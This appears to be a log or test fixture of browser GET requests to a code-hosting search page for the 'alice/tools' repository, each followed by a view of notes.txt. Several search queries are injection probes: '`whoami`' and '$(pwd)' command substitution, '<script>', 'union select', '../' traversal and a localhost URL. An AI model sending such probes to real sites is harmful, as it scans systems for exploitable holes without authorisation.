{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
